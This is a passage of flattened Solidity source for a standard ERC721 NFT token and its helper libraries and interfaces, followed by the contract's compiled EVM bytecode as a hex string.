Token symbol string private _symbol; // Mapping from token ID to owner address mapping(uint256 => address) private _owners; // Mapping owner address to token count mapping(address => uint256) private _balances; // Mapping from token ID to approved address mapping(uint256 => address) private _tokenApprovals; // Mapping from owner to operator approvals mapping(address => mapping(address => bool)) private _operatorApprovals; /** * @dev Initializes the contract by setting a `name` and a `symbol` to the token collection. */ constructor(string memory name_, string memory symbol_) { _name = name_; _symbol = symbol_; } /** * @dev See {IERC165-supportsInterface}. */ function supportsInterface(bytes4 interfaceId) public view virtual override(ERC165, IERC165) returns (bool) { return interfaceId == type(IERC721).interfaceId || interfaceId == type(IERC721Metadata).interfaceId || super.supportsInterface(interfaceId); } /** * @dev See {IERC721-balanceOf}. */ function balanceOf(address owner) public view virtual override returns (uint256) { require(owner != address(0), "ERC721: balance query for the zero address"); return _balances[owner]; } /** * @dev See {IERC721-ownerOf}. */ function ownerOf(uint256 tokenId) public view virtual override returns (address) { address owner = _owners[tokenId]; require(owner != address(0), "ERC721: owner query for nonexistent token"); return owner; } /** * @dev See {IERC721Metadata-name}. */ function name() public view virtual override returns (string memory) { return _name; } /** * @dev See {IERC721Metadata-symbol}. */ function symbol() public view virtual override returns (string memory) { return _symbol; } /** * @dev See {IERC721Metadata-tokenURI}. */ function tokenURI(uint256 tokenId) public view virtual override returns (string memory) { require(_exists(tokenId), "ERC721Metadata: URI query for nonexistent token"); string memory baseURI = _baseURI(); return bytes(baseURI).length > 0 ? string(abi.encodePacked(baseURI, tokenId.toString())) : ""; } /** * @dev Base URI for computing {tokenURI}. If set, the resulting URI for each * token will be the concatenation of the `baseURI` and the `tokenId`. Empty * by default, can be overriden in child contracts. */ function _baseURI() internal view virtual returns (string memory) { return ""; } /** * @dev See {IERC721-approve}. */ function approve(address to, uint256 tokenId) public virtual override { address owner = ERC721.ownerOf(tokenId); require(to != owner, "ERC721: approval to current owner"); require( _msgSender() == owner || isApprovedForAll(owner, _msgSender()), "ERC721: approve caller is not owner nor approved for all" ); _approve(to, tokenId); } /** * @dev See {IERC721-getApproved}. */ function getApproved(uint256 tokenId) public view virtual override returns (address) { require(_exists(tokenId), "ERC721: approved query for nonexistent token"); return _tokenApprovals[tokenId]; } /** * @dev See {IERC721-setApprovalForAll}. */ function setApprovalForAll(address operator, bool approved) public virtual override { require(operator != _msgSender(), "ERC721: approve to caller"); _operatorApprovals[_msgSender()][operator] = approved; emit ApprovalForAll(_msgSender(), operator, approved); } /** * @dev See {IERC721-isApprovedForAll}. */ function isApprovedForAll(address owner, address operator) public view virtual override returns (bool) { return _operatorApprovals[owner][operator]; } /** * @dev See {IERC721-transferFrom}. */ function transferFrom( address from, address to, uint256 tokenId ) public virtual override { //solhint-disable-next-line max-line-length require(_isApprovedOrOwner(_msgSender(), tokenId), "ERC721: transfer caller is not owner nor approved"); _transfer(from, to, tokenId); } /** * @dev See {IERC721-safeTransferFrom}. */ function safeTransferFrom( address from, address to, uint256 tokenId ) public virtual override { safeTransferFrom(from, to, tokenId, ""); } /** * @dev See {IERC721-safeTransferFrom}. */ function safeTransferFrom( address from, address to, uint256 tokenId, bytes memory _data ) public virtual override { require(_isApprovedOrOwner(_msgSender(), tokenId), "ERC721: transfer caller is not owner nor approved"); _safeTransfer(from, to, tokenId, _data); } /** * @dev Safely transfers `tokenId` token from `from` to `to`, checking first that contract recipients * are aware of the ERC721 protocol to prevent tokens from being forever locked. * * `_data` is additional data, it has no specified format and it is sent in call to `to`. * * This internal function is equivalent to {safeTransferFrom}, and can be used to e.g. * implement alternative mechanisms to perform token transfer, such as signature-based. * * Requirements: * * - `from` cannot be the zero address. * - `to` cannot be the zero address. * - `tokenId` token must exist and be owned by `from`. * - If `to` refers to a smart contract, it must implement {IERC721Receiver-onERC721Received}, which is called upon a safe transfer. * * Emits a {Transfer} event. */ function _safeTransfer( address from, address to, uint256 tokenId, bytes memory _data ) internal virtual { _transfer(from, to, tokenId); require(_checkOnERC721Received(from, to, tokenId, _data), "ERC721: transfer to non ERC721Receiver implementer"); } /** * @dev Returns whether `tokenId` exists. * * Tokens can be managed by their owner or approved accounts via {approve} or {setApprovalForAll}. * * Tokens start existing when they are minted (`_mint`), * and stop existing when they are burned (`_burn`). */ function _exists(uint256 tokenId) internal view virtual returns (bool) { return _owners[tokenId] != address(0); } /** * @dev Returns whether `spender` is allowed to manage `tokenId`. * * Requirements: * * - `tokenId` must exist. */ function _isApprovedOrOwner(address spender, uint256 tokenId) internal view virtual returns (bool) { require(_exists(tokenId), "ERC721: operator query for nonexistent token"); address owner = ERC721.ownerOf(tokenId); return (spender == owner || getApproved(tokenId) == spender || isApprovedForAll(owner, spender)); } /** * @dev Safely mints `tokenId` and transfers it to `to`. * * Requirements: * * - `tokenId` must not exist. * - If `to` refers to a smart contract, it must implement {IERC721Receiver-onERC721Received}, which is called upon a safe transfer. * * Emits a {Transfer} event. */ function _safeMint(address to, uint256 tokenId) internal virtual { _safeMint(to, tokenId, ""); } /** * @dev Same as {xref-ERC721-_safeMint-address-uint256-}[`_safeMint`], with an additional `data` parameter which is * forwarded in {IERC721Receiver-onERC721Received} to contract recipients. */ function _safeMint( address to, uint256 tokenId, bytes memory _data ) internal virtual { _mint(to, tokenId); require( _checkOnERC721Received(address(0), to, tokenId, _data), "ERC721: transfer to non ERC721Receiver implementer" ); } /** * @dev Mints `tokenId` and transfers it to `to`. * * WARNING: Usage of this method is discouraged, use {_safeMint} whenever possible * * Requirements: * * - `tokenId` must not exist. * - `to` cannot be the zero address. * * Emits a {Transfer} event. */ function _mint(address to, uint256 tokenId) internal virtual { require(to != address(0), "ERC721: mint to the zero address"); require(!_exists(tokenId), "ERC721: token already minted"); _beforeTokenTransfer(address(0), to, tokenId); _balances[to] += 1; _owners[tokenId] = to; emit Transfer(address(0), to, tokenId); } /** * @dev Destroys `tokenId`. * The approval is cleared when the token is burned. * * Requirements: * * - `tokenId` must exist. * * Emits a {Transfer} event. */ function _burn(uint256 tokenId) internal virtual { address owner = ERC721.ownerOf(tokenId); _beforeTokenTransfer(owner, address(0), tokenId); // Clear approvals _approve(address(0), tokenId); _balances[owner] -= 1; delete _owners[tokenId]; emit Transfer(owner, address(0), tokenId); } /** * @dev Transfers `tokenId` from `from` to `to`. * As opposed to {transferFrom}, this imposes no restrictions on msg.sender. * * Requirements: * * - `to` cannot be the zero address. * - `tokenId` token must be owned by `from`. * * Emits a {Transfer} event. */ function _transfer( address from, address to, uint256 tokenId ) internal virtual { require(ERC721.ownerOf(tokenId) == from, "ERC721: transfer of token that is not own"); require(to != address(0), "ERC721: transfer to the zero address"); _beforeTokenTransfer(from, to, tokenId); // Clear approvals from the previous owner _approve(address(0), tokenId); _balances[from] -= 1; _balances[to] += 1; _owners[tokenId] = to; emit Transfer(from, to, tokenId); } /** * @dev Approve `to` to operate on `tokenId` * * Emits a {Approval} event. */ function _approve(address to, uint256 tokenId) internal virtual { _tokenApprovals[tokenId] = to; emit Approval(ERC721.ownerOf(tokenId), to, tokenId); } /** * @dev Internal function to invoke {IERC721Receiver-onERC721Received} on a target address. * The call is not executed if the target address is not a contract. * * @param from address representing the previous owner of the given token ID * @param to target address that will receive the tokens * @param tokenId uint256 ID of the token to be transferred * @param _data bytes optional data to send along with the call * @return bool whether the call correctly returned the expected magic value */ function _checkOnERC721Received( address from, address to, uint256 tokenId, bytes memory _data ) private returns (bool) { if (to.isContract()) { try IERC721Receiver(to).onERC721Received(_msgSender(), from, tokenId, _data) returns (bytes4 retval) { return retval == IERC721Receiver.onERC721Received.selector; } catch (bytes memory reason) { if (reason.length == 0) { revert("ERC721: transfer to non ERC721Receiver implementer"); } else { assembly { revert(add(32, reason), mload(reason)) } } } } else { return true; } } /** * @dev Hook that is called before any token transfer. This includes minting * and burning. * * Calling conditions: * * - When `from` and `to` are both non-zero, ``from``'s `tokenId` will be * transferred to `to`. * - When `from` is zero, `tokenId` will be minted for `to`. * - When `to` is zero, ``from``'s `tokenId` will be burned. * - `from` and `to` are never both zero. * * To learn more about hooks, head to xref:ROOT:extending-contracts.adoc#using-hooks[Using Hooks]. */ function _beforeTokenTransfer( address from, address to, uint256 tokenId ) internal virtual {} } // SPDX-License-Identifier: MIT pragma solidity ^0.8.0; import "../../utils/introspection/IERC165.sol"; /** * @dev Required interface of an ERC721 compliant contract. */ interface IERC721 is IERC165 { /** * @dev Emitted when `tokenId` token is transferred from `from` to `to`. */ event Transfer(address indexed from, address indexed to, uint256 indexed tokenId); /** * @dev Emitted when `owner` enables `approved` to manage the `tokenId` token. */ event Approval(address indexed owner, address indexed approved, uint256 indexed tokenId); /** * @dev Emitted when `owner` enables or disables (`approved`) `operator` to manage all of its assets. */ event ApprovalForAll(address indexed owner, address indexed operator, bool approved); /** * @dev Returns the number of tokens in ``owner``'s account. */ function balanceOf(address owner) external view returns (uint256 balance); /** * @dev Returns the owner of the `tokenId` token. * * Requirements: * * - `tokenId` must exist. */ function ownerOf(uint256 tokenId) external view returns (address owner); /** * @dev Safely transfers `tokenId` token from `from` to `to`, checking first that contract recipients * are aware of the ERC721 protocol to prevent tokens from being forever locked. * * Requirements: * * - `from` cannot be the zero address. * - `to` cannot be the zero address. * - `tokenId` token must exist and be owned by `from`. * - If the caller is not `from`, it must be have been allowed to move this token by either {approve} or {setApprovalForAll}. * - If `to` refers to a smart contract, it must implement {IERC721Receiver-onERC721Received}, which is called upon a safe transfer. * * Emits a {Transfer} event. */ function safeTransferFrom( address from, address to, uint256 tokenId ) external; /** * @dev Transfers `tokenId` token from `from` to `to`. * * WARNING: Usage of this method is discouraged, use {safeTransferFrom} whenever possible. * * Requirements: * * - `from` cannot be the zero address. * - `to` cannot be the zero address. * - `tokenId` token must be owned by `from`. * - If the caller is not `from`, it must be approved to move this token by either {approve} or {setApprovalForAll}. * * Emits a {Transfer} event. */ function transferFrom( address from, address to, uint256 tokenId ) external; /** * @dev Gives permission to `to` to transfer `tokenId` token to another account. * The approval is cleared when the token is transferred. * * Only a single account can be approved at a time, so approving the zero address clears previous approvals. * * Requirements: * * - The caller must own the token or be an approved operator. * - `tokenId` must exist. * * Emits an {Approval} event. */ function approve(address to, uint256 tokenId) external; /** * @dev Returns the account approved for `tokenId` token. * * Requirements: * * - `tokenId` must exist. */ function getApproved(uint256 tokenId) external view returns (address operator); /** * @dev Approve or remove `operator` as an operator for the caller. * Operators can call {transferFrom} or {safeTransferFrom} for any token owned by the caller. * * Requirements: * * - The `operator` cannot be the caller. * * Emits an {ApprovalForAll} event. */ function setApprovalForAll(address operator, bool _approved) external; /** * @dev Returns if the `operator` is allowed to manage all of the assets of `owner`. * * See {setApprovalForAll} */ function isApprovedForAll(address owner, address operator) external view returns (bool); /** * @dev Safely transfers `tokenId` token from `from` to `to`. * * Requirements: * * - `from` cannot be the zero address. * - `to` cannot be the zero address. * - `tokenId` token must exist and be owned by `from`. * - If the caller is not `from`, it must be approved to move this token by either {approve} or {setApprovalForAll}. * - If `to` refers to a smart contract, it must implement {IERC721Receiver-onERC721Received}, which is called upon a safe transfer. * * Emits a {Transfer} event. */ function safeTransferFrom( address from, address to, uint256 tokenId, bytes calldata data ) external; } // SPDX-License-Identifier: MIT pragma solidity ^0.8.0; /** * @title ERC721 token receiver interface * @dev Interface for any contract that wants to support safeTransfers * from ERC721 asset contracts. */ interface IERC721Receiver { /** * @dev Whenever an {IERC721} `tokenId` token is transferred to this contract via {IERC721-safeTransferFrom} * by `operator` from `from`, this function is called. * * It must return its Solidity selector to confirm the token transfer. * If any other value is returned or the interface is not implemented by the recipient, the transfer will be reverted. * * The selector can be obtained in Solidity with `IERC721.onERC721Received.selector`. */ function onERC721Received( address operator, address from, uint256 tokenId, bytes calldata data ) external returns (bytes4); } // SPDX-License-Identifier: MIT pragma solidity ^0.8.0; import "../IERC721.sol"; /** * @title ERC-721 Non-Fungible Token Standard, optional metadata extension * @dev See https://eips.ethereum.org/EIPS/eip-721 */ interface IERC721Metadata is IERC721 { /** * @dev Returns the token collection name. */ function name() external view returns (string memory); /** * @dev Returns the token collection symbol. */ function symbol() external view returns (string memory); /** * @dev Returns the Uniform Resource Identifier (URI) for `tokenId` token. */ function tokenURI(uint256 tokenId) external view returns (string memory); } // SPDX-License-Identifier: MIT pragma solidity ^0.8.0; /** * @dev Collection of functions related to the address type */ library Address { /** * @dev Returns true if `account` is a contract. * * [IMPORTANT] * ==== * It is unsafe to assume that an address for which this function returns * false is an externally-owned account (EOA) and not a contract. * * Among others, `isContract` will return false for the following * types of addresses: * * - an externally-owned account * - a contract in construction * - an address where a contract will be created * - an address where a contract lived, but was destroyed * ==== */ function isContract(address account) internal view returns (bool) { // This method relies on extcodesize, which returns 0 for contracts in // construction, since the code is only stored at the end of the // constructor execution. uint256 size; assembly { size := extcodesize(account) } return size > 0; } /** * @dev Replacement for Solidity's `transfer`: sends `amount` wei to * `recipient`, forwarding all available gas and reverting on errors. * * https://eips.ethereum.org/EIPS/eip-1884[EIP1884] increases the gas cost * of certain opcodes, possibly making contracts go over the 2300 gas limit * imposed by `transfer`, making them unable to receive funds via * `transfer`. {sendValue} removes this limitation. * * https://diligence.consensys.net/posts/2019/09/stop-using-soliditys-transfer-now/[Learn more]. * * IMPORTANT: because control is transferred to `recipient`, care must be * taken to not create reentrancy vulnerabilities. Consider using * {ReentrancyGuard} or the * https://solidity.readthedocs.io/en/v0.5.11/security-considerations.html#use-the-checks-effects-interactions-pattern[checks-effects-interactions pattern]. */ function sendValue(address payable recipient, uint256 amount) internal { require(address(this).balance >= amount, "Address: insufficient balance"); (bool success, ) = recipient.call{value: amount}(""); require(success, "Address: unable to send value, recipient may have reverted"); } /** * @dev Performs a Solidity function call using a low level `call`. A * plain `call` is an unsafe replacement for a function call: use this * function instead. * * If `target` reverts with a revert reason, it is bubbled up by this * function (like regular Solidity function calls). * * Returns the raw returned data. To convert to the expected return value, * use https://solidity.readthedocs.io/en/latest/units-and-global-variables.html?highlight=abi.decode#abi-encoding-and-decoding-functions[`abi.decode`]. * * Requirements: * * - `target` must be a contract. * - calling `target` with `data` must not revert. * * _Available since v3.1._ */ function functionCall(address target, bytes memory data) internal returns (bytes memory) { return functionCall(target, data, "Address: low-level call failed"); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], but with * `errorMessage` as a fallback revert reason when `target` reverts. * * _Available since v3.1._ */ function functionCall( address target, bytes memory data, string memory errorMessage ) internal returns (bytes memory) { return functionCallWithValue(target, data, 0, errorMessage); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], * but also transferring `value` wei to `target`. * * Requirements: * * - the calling contract must have an ETH balance of at least `value`. * - the called Solidity function must be `payable`. * * _Available since v3.1._ */ function functionCallWithValue( address target, bytes memory data, uint256 value ) internal returns (bytes memory) { return functionCallWithValue(target, data, value, "Address: low-level call with value failed"); } /** * @dev Same as {xref-Address-functionCallWithValue-address-bytes-uint256-}[`functionCallWithValue`], but * with `errorMessage` as a fallback revert reason when `target` reverts. * * _Available since v3.1._ */ function functionCallWithValue( address target, bytes memory data, uint256 value, string memory errorMessage ) internal returns (bytes memory) { require(address(this).balance >= value, "Address: insufficient balance for call"); require(isContract(target), "Address: call to non-contract"); (bool success, bytes memory returndata) = target.call{value: value}(data); return verifyCallResult(success, returndata, errorMessage); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], * but performing a static call. * * _Available since v3.3._ */ function functionStaticCall(address target, bytes memory data) internal view returns (bytes memory) { return functionStaticCall(target, data, "Address: low-level static call failed"); } /** * @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`], * but performing a static call. * * _Available since v3.3._ */ function functionStaticCall( address target, bytes memory data, string memory errorMessage ) internal view returns (bytes memory) { require(isContract(target), "Address: static call to non-contract"); (bool success, bytes memory returndata) = target.staticcall(data); return verifyCallResult(success, returndata, errorMessage); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], * but performing a delegate call. * * _Available since v3.4._ */ function functionDelegateCall(address target, bytes memory data) internal returns (bytes memory) { return functionDelegateCall(target, data, "Address: low-level delegate call failed"); } /** * @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`], * but performing a delegate call. * * _Available since v3.4._ */ function functionDelegateCall( address target, bytes memory data, string memory errorMessage ) internal returns (bytes memory) { require(isContract(target), "Address: delegate call to non-contract"); (bool success, bytes memory returndata) = target.delegatecall(data); return verifyCallResult(success, returndata, errorMessage); } /** * @dev Tool to verifies that a low level call was successful, and revert if it wasn't, either by bubbling the * revert reason using the provided one. * * _Available since v4.3._ */ function verifyCallResult( bool success, bytes memory returndata, string memory errorMessage ) internal pure returns (bytes memory) { if (success) { return returndata; } else { // Look for revert reason and bubble it up if present if (returndata.length > 0) { // The easiest way to bubble the revert reason is using memory via assembly assembly { let returndata_size := mload(returndata) revert(add(32, returndata), returndata_size) } } else { revert(errorMessage); } } } } // SPDX-License-Identifier: MIT pragma solidity ^0.8.0; /** * @dev Provides information about the current execution context, including the * sender of the transaction and its data. While these are generally available * via msg.sender and msg.data, they should not be accessed in such a direct * manner, since when dealing with meta-transactions the account sending and * paying for execution may not be the actual sender (as far as an application * is concerned). * * This contract is only required for intermediate, library-like contracts. */ abstract contract Context { function _msgSender() internal view virtual returns (address) { return msg.sender; } function _msgData() internal view virtual returns (bytes calldata) { return msg.data; } } // SPDX-License-Identifier: MIT pragma solidity ^0.8.0; /** * @dev String operations. */ library Strings { bytes16 private constant _HEX_SYMBOLS = "0123456789abcdef"; /** * @dev Converts a `uint256` to its ASCII `string` decimal representation. */ function toString(uint256 value) internal pure returns (string memory) { // Inspired by OraclizeAPI's implementation - MIT licence // https://github.com/oraclize/ethereum-api/blob/b42146b063c7d6ee1358846c198246239e9360e8/oraclizeAPI_0.4.25.sol if (value == 0) { return "0"; } uint256 temp = value; uint256 digits; while (temp != 0) { digits++; temp /= 10; } bytes memory buffer = new bytes(digits); while (value != 0) { digits -= 1; buffer[digits] = bytes1(uint8(48 + uint256(value % 10))); value /= 10; } return string(buffer); } /** * @dev Converts a `uint256` to its ASCII `string` hexadecimal representation. */ function toHexString(uint256 value) internal pure returns (string memory) { if (value == 0) { return "0x00"; } uint256 temp = value; uint256 length = 0; while (temp != 0) { length++; temp >>= 8; } return toHexString(value, length); } /** * @dev Converts a `uint256` to its ASCII `string` hexadecimal representation with fixed length. */ function toHexString(uint256 value, uint256 length) internal pure returns (string memory) { bytes memory buffer = new bytes(2 * length + 2); buffer[0] = "0"; buffer[1] = "x"; for (uint256 i = 2 * length + 1; i > 1; --i) { buffer[i] = _HEX_SYMBOLS[value & 0xf]; value >>= 4; } require(value == 0, "Strings: hex length insufficient"); return string(buffer); } } // SPDX-License-Identifier: MIT pragma solidity ^0.8.0; import "./IERC165.sol"; /** * @dev Implementation of the {IERC165} interface. * * Contracts that want to implement ERC165 should inherit from this contract and override {supportsInterface} to check * for the additional interface id that will be supported. For example: * * ```solidity * function supportsInterface(bytes4 interfaceId) public view virtual override returns (bool) { * return interfaceId == type(MyInterface).interfaceId || super.supportsInterface(interfaceId); * } * ``` * * Alternatively, {ERC165Storage} provides an easier to use but more expensive implementation. */ abstract contract ERC165 is IERC165 { /** * @dev See {IERC165-supportsInterface}. */ function supportsInterface(bytes4 interfaceId) public view virtual override returns (bool) { return interfaceId == type(IERC165).interfaceId; } } // SPDX-License-Identifier: MIT pragma solidity ^0.8.0; /** * @dev Interface of the ERC165 standard, as defined in the * https://eips.ethereum.org/EIPS/eip-165[EIP]. * * Implementers can declare support of contract interfaces, which can then be * queried by others ({ERC165Checker}). * * For an implementation, see {ERC165}. */ interface IERC165 { /** * @dev Returns true if this contract implements the interface defined by * `interfaceId`. See the corresponding * https://eips.ethereum.org/EIPS/eip-165#how-interfaces-are-identified[EIP section] * to learn more about how these ids are created. * * This function call must use less than 30 000 gas. */ function supportsInterface(bytes4 interfaceId) external view returns (bool); }
0x608060405234801561001057600080fd5b50600436106101a35760003560e01c806370a08231116100ee578063af066de311610097578063e985e9c511610071578063e985e9c5146103b4578063ee1fe2ad146103f0578063f09a401614610403578063f3cb83851461041657600080fd5b8063af066de31461037b578063b88d4fde1461038e578063c87b56dd146103a157600080fd5b806395d89b41116100c857806395d89b4114610346578063965d21981461034e578063a22cb4651461036857600080fd5b806370a08231146102c957806386ab6fb9146102dc5780638da5cb5b1461033357600080fd5b806323b872dd1161015057806361b485f61161012a57806361b485f6146102845780636352211e146102a5578063662f0332146102b857600080fd5b806323b872dd1461024b578063392f37e91461025e57806342842e0e1461027157600080fd5b8063081812fc11610181578063081812fc14610210578063095ea7b31461022357806313af40351461023857600080fd5b806301ffc9a7146101a857806306fdde03146101d057806307546172146101e5575b600080fd5b6101bb6101b63660046118b4565b610429565b60405190151581526020015b60405180910390f35b6101d861050e565b6040516101c79190611929565b6008546101f8906001600160a01b031681565b6040516001600160a01b0390911681526020016101c7565b6101f861021e36600461193c565b6105a0565b610236610231366004611971565b61064b565b005b61023661024636600461199b565b61077d565b6102366102593660046119b6565b6107e3565b6006546101f8906001600160a01b031681565b61023661027f3660046119b6565b61086a565b610297610292366004611971565b610885565b6040519081526020016101c7565b6101f86102b336600461193c565b6108c1565b6101f86102c636600461193c565b90565b6102976102d736600461199b565b61094c565b6103116102ea36600461199b565b60096020526000908152604090205461ffff8116906201000090046001600160a01b031682565b6040805161ffff90931683526001600160a01b039091166020830152016101c7565b6007546101f8906001600160a01b031681565b6101d86109e6565b61029761035c36600461199b565b6001600160a01b031690565b6102366103763660046119f2565b6109f5565b610236610389366004611a2e565b610ad8565b61023661039c366004611aeb565b610d20565b6101d86103af36600461193c565b610dae565b6101bb6103c2366004611b96565b6001600160a01b03918216600090815260056020908152604080832093909416825291909152205460ff1690565b6102976103fe366004611b96565b610f43565b610236610411366004611b96565b610fb4565b61023661042436600461199b565b6110a2565b60007fffffffff0000000000000000000000000000000000000000000000000000000082167f80ac58cd0000000000000000000000000000000000000000000000000000000014806104bc57507fffffffff0000000000000000000000000000000000000000000000000000000082167f5b5e139f00000000000000000000000000000000000000000000000000000000145b8061050857507f01ffc9a7000000000000000000000000000000000000000000000000000000007fffffffff000000000000000000000000000000000000000000000000000000008316145b92915050565b60606000805461051d90611bc9565b80601f016020809104026020016040519081016040528092919081815260200182805461054990611bc9565b80156105965780601f1061056b57610100808354040283529160200191610596565b820191906000526020600020905b81548152906001019060200180831161057957829003601f168201915b5050505050905090565b6000818152600260205260408120546001600160a01b031661062f5760405162461bcd60e51b815260206004820152602c60248201527f4552433732313a20617070726f76656420717565727920666f72206e6f6e657860448201527f697374656e7420746f6b656e000000000000000000000000000000000000000060648201526084015b60405180910390fd5b506000908152600460205260409020546001600160a01b031690565b6000610656826108c1565b9050806001600160a01b0316836001600160a01b031614156106e05760405162461bcd60e51b815260206004820152602160248201527f4552433732313a20617070726f76616c20746f2063757272656e74206f776e6560448201527f72000000000000000000000000000000000000000000000000000000000000006064820152608401610626565b336001600160a01b03821614806106fc57506106fc81336103c2565b61076e5760405162461bcd60e51b815260206004820152603860248201527f4552433732313a20617070726f76652063616c6c6572206973206e6f74206f7760448201527f6e6572206e6f7220617070726f76656420666f7220616c6c00000000000000006064820152608401610626565b6107788383611105565b505050565b6007546001600160a01b031633146107d75760405162461bcd60e51b815260206004820152601260248201527f7365744f776e6572206f6e6c794f776e657200000000000000000000000000006044820152606401610626565b6107e081611180565b50565b6107ed33826111d7565b61085f5760405162461bcd60e51b815260206004820152603160248201527f4552433732313a207472616e736665722063616c6c6572206973206e6f74206f60448201527f776e6572206e6f7220617070726f7665640000000000000000000000000000006064820152608401610626565b6107788383836112df565b61077883838360405180602001604052806000815250610d20565b6001600160a01b038216600090815260096020526040812054612710906108b09061ffff1684611c1a565b6108ba9190611c57565b9392505050565b6000818152600260205260408120546001600160a01b0316806105085760405162461bcd60e51b815260206004820152602960248201527f4552433732313a206f776e657220717565727920666f72206e6f6e657869737460448201527f656e7420746f6b656e00000000000000000000000000000000000000000000006064820152608401610626565b60006001600160a01b0382166109ca5760405162461bcd60e51b815260206004820152602a60248201527f4552433732313a2062616c616e636520717565727920666f7220746865207a6560448201527f726f2061646472657373000000000000000000000000000000000000000000006064820152608401610626565b506001600160a01b031660009081526003602052604090205490565b60606001805461051d90611bc9565b6001600160a01b038216331415610a4e5760405162461bcd60e51b815260206004820152601960248201527f4552433732313a20617070726f766520746f2063616c6c6572000000000000006044820152606401610626565b3360008181526005602090815260408083206001600160a01b0387168085529083529281902080547fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff001686151590811790915590519081529192917f17307eab39ab6107e8899845ad3d59bd9653f200f220920489ca2b5937696c31910160405180910390a35050565b826001600160a01b03811633610aed826108c1565b6001600160a01b031614610b435760405162461bcd60e51b815260206004820152600f60248201527f6f6e6c794d6f64756c654f776e657200000000000000000000000000000000006044820152606401610626565b6127108361ffff161115610bbf5760405162461bcd60e51b815260206004820152602160248201527f736574466565506172616d73206d7573742073657420666565203c3d2031303060448201527f25000000000000000000000000000000000000000000000000000000000000006064820152608401610626565b6001600160a01b038416151580610bd8575061ffff8316155b610c705760405162461bcd60e51b815260206004820152604760248201527f736574466565506172616d732066656520726563697069656e742063616e6e6f60448201527f742062652030206164647265737320696620666565206973206772656174657260648201527f207468616e203000000000000000000000000000000000000000000000000000608482015260a401610626565b60408051808201825261ffff8581168083526001600160a01b0388811660208086018281528c841660008181526009845289902097518854925190951662010000027fffffffffffffffffffff000000000000000000000000000000000000000000009092169490961693909317929092179094558451938452830152917f13a20b316cfe128c34302b82770e84718519ea467fbd984b426aaae5513c79c1910160405180910390a25050505050565b610d2a33836111d7565b610d9c5760405162461bcd60e51b815260206004820152603160248201527f4552433732313a207472616e736665722063616c6c6572206973206e6f74206f60448201527f776e6572206e6f7220617070726f7665640000000000000000000000000000006064820152608401610626565b610da8848484846114b9565b50505050565b6000818152600260205260409020546060906001600160a01b0316610e3b5760405162461bcd60e51b815260206004820152602f60248201527f4552433732314d657461646174613a2055524920717565727920666f72206e6f60448201527f6e6578697374656e7420746f6b656e00000000000000000000000000000000006064820152608401610626565b6006546001600160a01b0316610eb95760405162461bcd60e51b815260206004820152602360248201527f4552433732314d657461646174613a206e6f206d65746164617461206164647260448201527f65737300000000000000000000000000000000000000000000000000000000006064820152608401610626565b6006546040517fc87b56dd000000000000000000000000000000000000000000000000000000008152600481018490526001600160a01b039091169063c87b56dd90602401600060405180830381865afa158015610f1b573d6000803e3d6000fd5b505050506040513d6000823e601f3d908101601f191682016040526105089190810190611c79565b6008546000906001600160a01b03163314610fa05760405162461bcd60e51b815260206004820152600f60248201527f6d696e74206f6e6c794d696e74657200000000000000000000000000000000006044820152606401610626565b6001600160a01b0382166108ba8482611542565b6007546001600160a01b0316331461100e5760405162461bcd60e51b815260206004820152600f60248201527f696e6974206f6e6c79206f776e657200000000000000000000000000000000006044820152606401610626565b6008546001600160a01b0316156110675760405162461bcd60e51b815260206004820152601860248201527f696e697420616c726561647920696e697469616c697a656400000000000000006044820152606401610626565b600880546001600160a01b0393841673ffffffffffffffffffffffffffffffffffffffff199182161790915560068054929093169116179055565b6007546001600160a01b031633146110fc5760405162461bcd60e51b815260206004820152601560248201527f7365744d65746164617461206f6e6c794f776e657200000000000000000000006044820152606401610626565b6107e081611691565b6000818152600460205260409020805473ffffffffffffffffffffffffffffffffffffffff19166001600160a01b0384169081179091558190611147826108c1565b6001600160a01b03167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b92560405160405180910390a45050565b6007805473ffffffffffffffffffffffffffffffffffffffff19166001600160a01b0383169081179091556040517f4ffd725fc4a22075e9ec71c59edf9c38cdeb588a91b24fc5b61388c5be41282b90600090a250565b6000818152600260205260408120546001600160a01b03166112615760405162461bcd60e51b815260206004820152602c60248201527f4552433732313a206f70657261746f7220717565727920666f72206e6f6e657860448201527f697374656e7420746f6b656e00000000000000000000000000000000000000006064820152608401610626565b600061126c836108c1565b9050806001600160a01b0316846001600160a01b031614806112a75750836001600160a01b031661129c846105a0565b6001600160a01b0316145b806112d757506001600160a01b0380821660009081526005602090815260408083209388168352929052205460ff165b949350505050565b826001600160a01b03166112f2826108c1565b6001600160a01b03161461136e5760405162461bcd60e51b815260206004820152602960248201527f4552433732313a207472616e73666572206f6620746f6b656e2074686174206960448201527f73206e6f74206f776e00000000000000000000000000000000000000000000006064820152608401610626565b6001600160a01b0382166113e95760405162461bcd60e51b8152602060048201526024808201527f4552433732313a207472616e7366657220746f20746865207a65726f2061646460448201527f72657373000000000000000000000000000000000000000000000000000000006064820152608401610626565b6113f4600082611105565b6001600160a01b038316600090815260036020526040812080546001929061141d908490611cf0565b90915550506001600160a01b038216600090815260036020526040812080546001929061144b908490611d07565b9091555050600081815260026020526040808220805473ffffffffffffffffffffffffffffffffffffffff19166001600160a01b0386811691821790925591518493918716917fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef91a4505050565b6114c48484846112df565b6114d0848484846116e8565b610da85760405162461bcd60e51b815260206004820152603260248201527f4552433732313a207472616e7366657220746f206e6f6e20455243373231526560448201527f63656976657220696d706c656d656e74657200000000000000000000000000006064820152608401610626565b6001600160a01b0382166115985760405162461bcd60e51b815260206004820181905260248201527f4552433732313a206d696e7420746f20746865207a65726f20616464726573736044820152606401610626565b6000818152600260205260409020546001600160a01b0316156115fd5760405162461bcd60e51b815260206004820152601c60248201527f4552433732313a20746f6b656e20616c7265616479206d696e746564000000006044820152606401610626565b6001600160a01b0382166000908152600360205260408120805460019290611626908490611d07565b9091555050600081815260026020526040808220805473ffffffffffffffffffffffffffffffffffffffff19166001600160a01b03861690811790915590518392907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef908290a4505056